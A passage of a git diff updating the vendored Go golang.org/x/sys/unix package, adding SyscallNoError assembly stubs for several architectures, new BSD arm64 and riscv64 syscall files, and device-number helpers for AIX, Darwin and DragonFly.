--TEXT ·Syscall9(SB),NOSPLIT,$0-112
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
- JMP syscall·Syscall9(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-64
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-88
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- JMP syscall·RawSyscall6(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_freebsd_arm64.s
-similarity index 71%
-copy from vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-copy to vendor/golang.org/x/sys/unix/asm_freebsd_arm64.s
-index 724e580c..d9318cbf 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_freebsd_arm64.s
-@@ -1,15 +1,13 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build linux
--// +build mips64 mips64le
- // +build !gccgo
-
- #include "textflag.h"
-
- //
--// System calls for mips64, Linux
-+// System call support for ARM64, FreeBSD
- //
-
- // Just jump to package syscall's implementation for all these functions.
-@@ -21,7 +19,10 @@ TEXT ·Syscall(SB),NOSPLIT,$0-56
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
-+ JMP syscall·Syscall9(SB)
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_386.s b/vendor/golang.org/x/sys/unix/asm_linux_386.s
-index 4db29093..448bebbb 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_386.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_386.s
-@@ -10,21 +10,51 @@
- // System calls for 386, Linux
- //
-
-+// See ../runtime/sys_linux_386.s for the reason why we always use int 0x80
-+// instead of the glibc-specific "CALL 0x10(GS)".
-+#define INVOKE_SYSCALL INT $0x80
-+
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-28
-+TEXT ·Syscall(SB),NOSPLIT,$0-28
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-40
-+TEXT ·Syscall6(SB),NOSPLIT,$0-40
- JMP syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-24
-+ CALL runtime·entersyscall(SB)
-+ MOVL trap+0(FP), AX // syscall entry
-+ MOVL a1+4(FP), BX
-+ MOVL a2+8(FP), CX
-+ MOVL a3+12(FP), DX
-+ MOVL $0, SI
-+ MOVL $0, DI
-+ INVOKE_SYSCALL
-+ MOVL AX, r1+16(FP)
-+ MOVL DX, r2+20(FP)
-+ CALL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-28
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
- JMP syscall·RawSyscall6(SB)
-
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-24
-+ MOVL trap+0(FP), AX // syscall entry
-+ MOVL a1+4(FP), BX
-+ MOVL a2+8(FP), CX
-+ MOVL a3+12(FP), DX
-+ MOVL $0, SI
-+ MOVL $0, DI
-+ INVOKE_SYSCALL
-+ MOVL AX, r1+16(FP)
-+ MOVL DX, r2+20(FP)
-+ RET
-+
- TEXT ·socketcall(SB),NOSPLIT,$0-36
- JMP syscall·socketcall(SB)
-
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_amd64.s b/vendor/golang.org/x/sys/unix/asm_linux_amd64.s
-index 44e25c62..c6468a95 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_amd64.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_amd64.s
-@@ -13,17 +13,45 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- JMP syscall·Syscall(SB)
-
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ CALL runtime·entersyscall(SB)
-+ MOVQ a1+8(FP), DI
-+ MOVQ a2+16(FP), SI
-+ MOVQ a3+24(FP), DX
-+ MOVQ $0, R10
-+ MOVQ $0, R8
-+ MOVQ $0, R9
-+ MOVQ trap+0(FP), AX // syscall entry
-+ SYSCALL
-+ MOVQ AX, r1+32(FP)
-+ MOVQ DX, r2+40(FP)
-+ CALL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- JMP syscall·RawSyscall6(SB)
-
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVQ a1+8(FP), DI
-+ MOVQ a2+16(FP), SI
-+ MOVQ a3+24(FP), DX
-+ MOVQ $0, R10
-+ MOVQ $0, R8
-+ MOVQ $0, R9
-+ MOVQ trap+0(FP), AX // syscall entry
-+ SYSCALL
-+ MOVQ AX, r1+32(FP)
-+ MOVQ DX, r2+40(FP)
-+ RET
-+
- TEXT ·gettimeofday(SB),NOSPLIT,$0-16
- JMP syscall·gettimeofday(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_arm.s b/vendor/golang.org/x/sys/unix/asm_linux_arm.s
-index cf0b5746..cf0f3575 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_arm.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_arm.s
-@@ -13,17 +13,44 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-28
-+TEXT ·Syscall(SB),NOSPLIT,$0-28
- B syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-40
-+TEXT ·Syscall6(SB),NOSPLIT,$0-40
- B syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-24
-+ BL runtime·entersyscall(SB)
-+ MOVW trap+0(FP), R7
-+ MOVW a1+4(FP), R0
-+ MOVW a2+8(FP), R1
-+ MOVW a3+12(FP), R2
-+ MOVW $0, R3
-+ MOVW $0, R4
-+ MOVW $0, R5
-+ SWI $0
-+ MOVW R0, r1+16(FP)
-+ MOVW $0, R0
-+ MOVW R0, r2+20(FP)
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-28
- B syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
- B syscall·RawSyscall6(SB)
-
--TEXT ·seek(SB),NOSPLIT,$0-32
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-24
-+ MOVW trap+0(FP), R7 // syscall entry
-+ MOVW a1+4(FP), R0
-+ MOVW a2+8(FP), R1
-+ MOVW a3+12(FP), R2
-+ SWI $0
-+ MOVW R0, r1+16(FP)
-+ MOVW $0, R0
-+ MOVW R0, r2+20(FP)
-+ RET
-+
-+TEXT ·seek(SB),NOSPLIT,$0-28
- B syscall·seek(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_arm64.s b/vendor/golang.org/x/sys/unix/asm_linux_arm64.s
-index 4be9bfed..afe6fdf6 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_arm64.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_arm64.s
-@@ -11,14 +11,42 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- B syscall·Syscall(SB)
-
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- B syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ BL runtime·entersyscall(SB)
-+ MOVD a1+8(FP), R0
-+ MOVD a2+16(FP), R1
-+ MOVD a3+24(FP), R2
-+ MOVD $0, R3
-+ MOVD $0, R4
-+ MOVD $0, R5
-+ MOVD trap+0(FP), R8 // syscall entry
-+ SVC
-+ MOVD R0, r1+32(FP) // r1
-+ MOVD R1, r2+40(FP) // r2
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- B syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- B syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVD a1+8(FP), R0
-+ MOVD a2+16(FP), R1
-+ MOVD a3+24(FP), R2
-+ MOVD $0, R3
-+ MOVD $0, R4
-+ MOVD $0, R5
-+ MOVD trap+0(FP), R8 // syscall entry
-+ SVC
-+ MOVD R0, r1+32(FP)
-+ MOVD R1, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-index 724e580c..ab9d6383 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-@@ -15,14 +15,42 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-80
-+TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ JAL runtime·entersyscall(SB)
-+ MOVV a1+8(FP), R4
-+ MOVV a2+16(FP), R5
-+ MOVV a3+24(FP), R6
-+ MOVV R0, R7
-+ MOVV R0, R8
-+ MOVV R0, R9
-+ MOVV trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVV R2, r1+32(FP)
-+ MOVV R3, r2+40(FP)
-+ JAL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- JMP syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVV a1+8(FP), R4
-+ MOVV a2+16(FP), R5
-+ MOVV a3+24(FP), R6
-+ MOVV R0, R7
-+ MOVV R0, R8
-+ MOVV R0, R9
-+ MOVV trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVV R2, r1+32(FP)
-+ MOVV R3, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s b/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s
-index 2ea42575..99e53990 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s
-@@ -15,17 +15,40 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-28
-+TEXT ·Syscall(SB),NOSPLIT,$0-28
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-40
-+TEXT ·Syscall6(SB),NOSPLIT,$0-40
- JMP syscall·Syscall6(SB)
-
--TEXT ·Syscall9(SB),NOSPLIT,$0-52
-+TEXT ·Syscall9(SB),NOSPLIT,$0-52
- JMP syscall·Syscall9(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-28
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-24
-+ JAL runtime·entersyscall(SB)
-+ MOVW a1+4(FP), R4
-+ MOVW a2+8(FP), R5
-+ MOVW a3+12(FP), R6
-+ MOVW R0, R7
-+ MOVW trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVW R2, r1+16(FP) // r1
-+ MOVW R3, r2+20(FP) // r2
-+ JAL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-28
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
- JMP syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-24
-+ MOVW a1+4(FP), R4
-+ MOVW a2+8(FP), R5
-+ MOVW a3+12(FP), R6
-+ MOVW trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVW R2, r1+16(FP)
-+ MOVW R3, r2+20(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s b/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s
-index 8d231feb..88f71255 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s
-@@ -15,14 +15,30 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-- BR syscall·Syscall(SB)
--
--TEXT ·Syscall6(SB),NOSPLIT,$0-80
-- BR syscall·Syscall6(SB)
--
--TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-- BR syscall·RawSyscall(SB)
--
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-- BR syscall·RawSyscall6(SB)
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ BL runtime·entersyscall(SB)
-+ MOVD a1+8(FP), R3
-+ MOVD a2+16(FP), R4
-+ MOVD a3+24(FP), R5
-+ MOVD R0, R6
-+ MOVD R0, R7
-+ MOVD R0, R8
-+ MOVD trap+0(FP), R9 // syscall entry
-+ SYSCALL R9
-+ MOVD R3, r1+32(FP)
-+ MOVD R4, r2+40(FP)
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVD a1+8(FP), R3
-+ MOVD a2+16(FP), R4
-+ MOVD a3+24(FP), R5
-+ MOVD R0, R6
-+ MOVD R0, R7
-+ MOVD R0, R8
-+ MOVD trap+0(FP), R9 // syscall entry
-+ SYSCALL R9
-+ MOVD R3, r1+32(FP)
-+ MOVD R4, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_riscv64.s b/vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
-new file mode 100644
-index 00000000..3cfefed2
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
-@@ -0,0 +1,47 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build riscv64,!gccgo
-+
-+#include "textflag.h"
-+
-+//
-+// System calls for linux/riscv64.
-+//
-+// Where available, just jump to package syscall's implementation of
-+// these functions.
-+
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
-+ JMP syscall·Syscall(SB)
-+
-+TEXT ·Syscall6(SB),NOSPLIT,$0-80
-+ JMP syscall·Syscall6(SB)
-+
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ CALL runtime·entersyscall(SB)
-+ MOV a1+8(FP), A0
-+ MOV a2+16(FP), A1
-+ MOV a3+24(FP), A2
-+ MOV trap+0(FP), A7 // syscall entry
-+ ECALL
-+ MOV A0, r1+32(FP) // r1
-+ MOV A1, r2+40(FP) // r2
-+ CALL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-+ JMP syscall·RawSyscall(SB)
-+
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-+ JMP syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOV a1+8(FP), A0
-+ MOV a2+16(FP), A1
-+ MOV a3+24(FP), A2
-+ MOV trap+0(FP), A7 // syscall entry
-+ ECALL
-+ MOV A0, r1+32(FP)
-+ MOV A1, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_s390x.s b/vendor/golang.org/x/sys/unix/asm_linux_s390x.s
-index 11889859..a5a863c6 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_s390x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_s390x.s
-@@ -21,8 +21,36 @@ TEXT ·Syscall(SB),NOSPLIT,$0-56
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- BR syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ BL runtime·entersyscall(SB)
-+ MOVD a1+8(FP), R2
-+ MOVD a2+16(FP), R3
-+ MOVD a3+24(FP), R4
-+ MOVD $0, R5
-+ MOVD $0, R6
-+ MOVD $0, R7
-+ MOVD trap+0(FP), R1 // syscall entry
-+ SYSCALL
-+ MOVD R2, r1+32(FP)
-+ MOVD R3, r2+40(FP)
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- BR syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- BR syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVD a1+8(FP), R2
-+ MOVD a2+16(FP), R3
-+ MOVD a3+24(FP), R4
-+ MOVD $0, R5
-+ MOVD $0, R6
-+ MOVD $0, R7
-+ MOVD trap+0(FP), R1 // syscall entry
-+ SYSCALL
-+ MOVD R2, r1+32(FP)
-+ MOVD R3, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_netbsd_arm64.s
-similarity index 60%
-copy from vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-copy to vendor/golang.org/x/sys/unix/asm_netbsd_arm64.s
-index 724e580c..6f98ba5a 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_netbsd_arm64.s
-@@ -1,28 +1,29 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2019 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build linux
--// +build mips64 mips64le
- // +build !gccgo
-
- #include "textflag.h"
-
- //
--// System calls for mips64, Linux
-+// System call support for ARM64, NetBSD
- //
-
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
- TEXT ·Syscall(SB),NOSPLIT,$0-56
-- JMP syscall·Syscall(SB)
-+ B syscall·Syscall(SB)
-
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
-- JMP syscall·Syscall6(SB)
-+ B syscall·Syscall6(SB)
-+
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
-+ B syscall·Syscall9(SB)
-
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-- JMP syscall·RawSyscall(SB)
-+ B syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-- JMP syscall·RawSyscall6(SB)
-+ B syscall·RawSyscall6(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_openbsd_arm64.s
-similarity index 76%
-copy from vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-copy to vendor/golang.org/x/sys/unix/asm_openbsd_arm64.s
-index 724e580c..0cedea3d 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_openbsd_arm64.s
-@@ -1,15 +1,13 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2019 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build linux
--// +build mips64 mips64le
- // +build !gccgo
-
- #include "textflag.h"
-
- //
--// System calls for mips64, Linux
-+// System call support for arm64, OpenBSD
- //
-
- // Just jump to package syscall's implementation for all these functions.
-@@ -21,6 +19,9 @@ TEXT ·Syscall(SB),NOSPLIT,$0-56
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
-+ JMP syscall·Syscall9(SB)
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
-diff --git a/vendor/golang.org/x/sys/unix/bluetooth_linux.go b/vendor/golang.org/x/sys/unix/bluetooth_linux.go
-index 6e322969..a178a614 100644
---- a/vendor/golang.org/x/sys/unix/bluetooth_linux.go
-+++ b/vendor/golang.org/x/sys/unix/bluetooth_linux.go
-@@ -23,6 +23,7 @@ const (
- HCI_CHANNEL_USER = 1
- HCI_CHANNEL_MONITOR = 2
- HCI_CHANNEL_CONTROL = 3
-+ HCI_CHANNEL_LOGGING = 4
- )
-
- // Socketoption Level
-diff --git a/vendor/golang.org/x/sys/unix/cap_freebsd.go b/vendor/golang.org/x/sys/unix/cap_freebsd.go
-index 83b6bcea..df520487 100644
---- a/vendor/golang.org/x/sys/unix/cap_freebsd.go
-+++ b/vendor/golang.org/x/sys/unix/cap_freebsd.go
-@@ -7,7 +7,7 @@
- package unix
-
- import (
-- errorspkg "errors"
-+ "errors"
- "fmt"
- )
-
-@@ -60,26 +60,26 @@ func CapRightsSet(rights *CapRights, setrights []uint64) error {
-
- n := caparsize(rights)
- if n < capArSizeMin || n > capArSizeMax {
-- return errorspkg.New("bad rights size")
-+ return errors.New("bad rights size")
- }
-
- for _, right := range setrights {
- if caprver(right) != CAP_RIGHTS_VERSION_00 {
-- return errorspkg.New("bad right version")
-+ return errors.New("bad right version")
- }
- i, err := rightToIndex(right)
- if err != nil {
- return err
- }
- if i >= n {
-- return errorspkg.New("index overflow")
-+ return errors.New("index overflow")
- }
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch")
-+ return errors.New("index mismatch")
- }
- rights.Rights[i] |= right
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch (after assign)")
-+ return errors.New("index mismatch (after assign)")
- }
- }
-
-@@ -95,26 +95,26 @@ func CapRightsClear(rights *CapRights, clearrights []uint64) error {
-
- n := caparsize(rights)
- if n < capArSizeMin || n > capArSizeMax {
-- return errorspkg.New("bad rights size")
-+ return errors.New("bad rights size")
- }
-
- for _, right := range clearrights {
- if caprver(right) != CAP_RIGHTS_VERSION_00 {
-- return errorspkg.New("bad right version")
-+ return errors.New("bad right version")
- }
- i, err := rightToIndex(right)
- if err != nil {
- return err
- }
- if i >= n {
-- return errorspkg.New("index overflow")
-+ return errors.New("index overflow")
- }
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch")
-+ return errors.New("index mismatch")
- }
- rights.Rights[i] &= ^(right & 0x01FFFFFFFFFFFFFF)
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch (after assign)")
-+ return errors.New("index mismatch (after assign)")
- }
- }
-
-@@ -130,22 +130,22 @@ func CapRightsIsSet(rights *CapRights, setrights []uint64) (bool, error) {
-
- n := caparsize(rights)
- if n < capArSizeMin || n > capArSizeMax {
-- return false, errorspkg.New("bad rights size")
-+ return false, errors.New("bad rights size")
- }
-
- for _, right := range setrights {
- if caprver(right) != CAP_RIGHTS_VERSION_00 {
-- return false, errorspkg.New("bad right version")
-+ return false, errors.New("bad right version")
- }
- i, err := rightToIndex(right)
- if err != nil {
- return false, err
- }
- if i >= n {
-- return false, errorspkg.New("index overflow")
-+ return false, errors.New("index overflow")
- }
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return false, errorspkg.New("index mismatch")
-+ return false, errors.New("index mismatch")
- }
- if (rights.Rights[i] & right) != right {
- return false, nil
-diff --git a/vendor/golang.org/x/sys/unix/constants.go b/vendor/golang.org/x/sys/unix/constants.go
-index a96f0ebc..3a6ac648 100644
---- a/vendor/golang.org/x/sys/unix/constants.go
-+++ b/vendor/golang.org/x/sys/unix/constants.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/dev_aix_ppc.go b/vendor/golang.org/x/sys/unix/dev_aix_ppc.go
-new file mode 100644
-index 00000000..5e5fb451
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_aix_ppc.go
-@@ -0,0 +1,27 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used by AIX.
-+
-+package unix
-+
-+// Major returns the major component of a Linux device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 16) & 0xffff)
-+}
-+
-+// Minor returns the minor component of a Linux device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffff)
-+}
-+
-+// Mkdev returns a Linux device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ return uint64(((major) << 16) | (minor))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_aix_ppc64.go b/vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
-new file mode 100644
-index 00000000..8b401244
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
-@@ -0,0 +1,29 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc64
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used AIX.
-+
-+package unix
-+
-+// Major returns the major component of a Linux device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev & 0x3fffffff00000000) >> 32)
-+}
-+
-+// Minor returns the minor component of a Linux device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32((dev & 0x00000000ffffffff) >> 0)
-+}
-+
-+// Mkdev returns a Linux device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ var DEVNO64 uint64
-+ DEVNO64 = 0x8000000000000000
-+ return ((uint64(major) << 32) | (uint64(minor) & 0x00000000FFFFFFFF) | DEVNO64)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_darwin.go b/vendor/golang.org/x/sys/unix/dev_darwin.go
-new file mode 100644
-index 00000000..8d1dc0fa
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_darwin.go
-@@ -0,0 +1,24 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in Darwin's sys/types.h header.
-+
-+package unix
-+
-+// Major returns the major component of a Darwin device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 24) & 0xff)
-+}
-+
-+// Minor returns the minor component of a Darwin device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffffff)
-+}
-+
-+// Mkdev returns a Darwin device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ return (uint64(major) << 24) | uint64(minor)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_dragonfly.go b/vendor/golang.org/x/sys/unix/dev_dragonfly.go
-new file mode 100644
-index 00000000..8502f202
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_dragonfly.go
-@@ -0,0 +1,30 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in Dragonfly's sys/types.h header.
-+//
-+// The information below is extracted and adapted from sys/types.h:
-+//
-+// Minor gives a cookie instead of an index since in order to avoid changing the
-+// meanings of bits 0-15 or wasting time and space shifting bits 16-31 for
-+// devices that don't use them.
-+
-+package unix
-+
-+// Major returns the major component of a DragonFlyBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 8) & 0xff)
-+}
-+
-+// Minor returns the minor component of a DragonFlyBSD device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffff00ff)
-+}
-+
-+// Mkdev returns a DragonFlyBSD device number generated from the given major and
-+// minor components.
-+func Mkdev(major, minor uint32) uint64 {
-+ return (uint64(major) << 8) | uint64(minor)
-+}
